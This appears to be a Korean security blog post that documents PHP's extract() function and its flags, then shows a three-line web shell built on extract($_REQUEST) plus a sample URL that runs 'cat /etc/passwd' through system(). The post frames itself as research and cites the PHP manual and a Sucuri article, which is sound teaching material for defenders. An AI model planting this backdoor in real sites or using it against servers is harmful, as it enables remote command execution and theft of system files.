※ 주의사항 :
악용하지 마세요!!!
해당 글은 연구 목적으로 기재하였습니다.
악의적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신에게 있습니다.
( 1 ) extract() 함수
배열 속의 키값을 변수화 시켜주는 함수로 배열에서 현재 심볼 테이블로 변수를 가져옴.
각 키에 유효한 변수 이름이 있는지 확인함. 또한, 기호 테이블에서 기존 변수와 충돌을 확인함.
반환값은 심볼 테이블로 성공적으로 가져온 변수 수를 반환함.
extract ( array &$array [, int
$flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int
|
array
필수! 사용하는 배열을 지정함
각 키/값을 쌍으로 현재 기호 테이블에 변수 flags 및 prefix 매개 변수에 따라 변수를 만듬.
flags
유효하지 않은 숫자 키와 충돌이 처리되는 방식을 추출에 의해 결정됨.
flags 는 아래 다음 값 중 하나일 수 있음. flags 가 지정하지 않으면 EXTR_OVERWRITE 로 간주됨.
EXTR_OVERWRITE
출돌이 있으면 기존 변수를 덮어씀.
EXTR_SKIP
충돌이 있으면 기존 변수를 덮어쓰지 않음.
EXTR_PREFIX_SAME
충돌이 있으면 변수 이름 앞에 prefix 접두사를 붙임.
EXTR_PREFIX_ALL
모든 변수 이름은 prefix 접두사를 붙임.
EXTR_PREFIX_INVALID
유효하지 않은 숫자 변수 이름 앞에만 prefix 접두사를 붙임.
EXTR_IF_EXISTS
변수가 현재 기호 테이블에 이미있는 경우에만 덮어씀.
그렇지 않으면 아무것도 수행하지 않음.
ex. 유효한 변수 목록을 정의한 다음 $_REQUEST 에서 정의한 변수만 추출하는 데 유용함.
EXTR_PREFIX_IF_EXISTS
동일한 변수의 접두사가 없는 버전이 현재 기호 테이블에 존재하는 경우 접두사가 붙은 변수 이름만 작성함.
EXTR_REFS
변수를 참조로 추출함.
이는 효과적으로 가져온 변수의 값이 여전히 array 매개 변수 값을 참조하고 있음을 의미함.
prefix
prefix 는 flags 가 EXTR_PREFIX_SAME, EXTR_PREFIX_ALL, EXTR_PREFIX_INVALID, EXTR_PREFIX_IF_EXISTS 일때만 요구됨. 앞 첨가된 변수가 유효한 변수명이 아니면 심볼테이블에 입력되지 않음.
( 2 ) extract() 함수를 이용한 PHP WebShell
<?php
@extract ($_REQUEST);
@die ($a($b));
?>
|
< extract() 함수를 이용한 PHP WebShell 코드 >
URL 입력 : hxxp://사이트 주소/webshell.php?a=system&b=cat /etc/passwd
< 실행한 화면 >
extract() 함수는 배열 속의 키 값을 변수화 시켜주는 함수임.
위 코드를 보면 extract() 함수를 통해 다음 줄에 있는 a 변수 값와 b 변수 값을 설정하여 전송된 내용을 추출함.
a 변수 값에 system 문자열을 넣고 b 변수 값에 원하는 코드 문자열(ex. cat /etc/passwd)을 넣으면 system(코드 문자열) 결과값이 출력됨.
참고 사이트 :
https://www.php.net/manual/en/function.extract.php
https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.
댓글 없음:
댓글 쓰기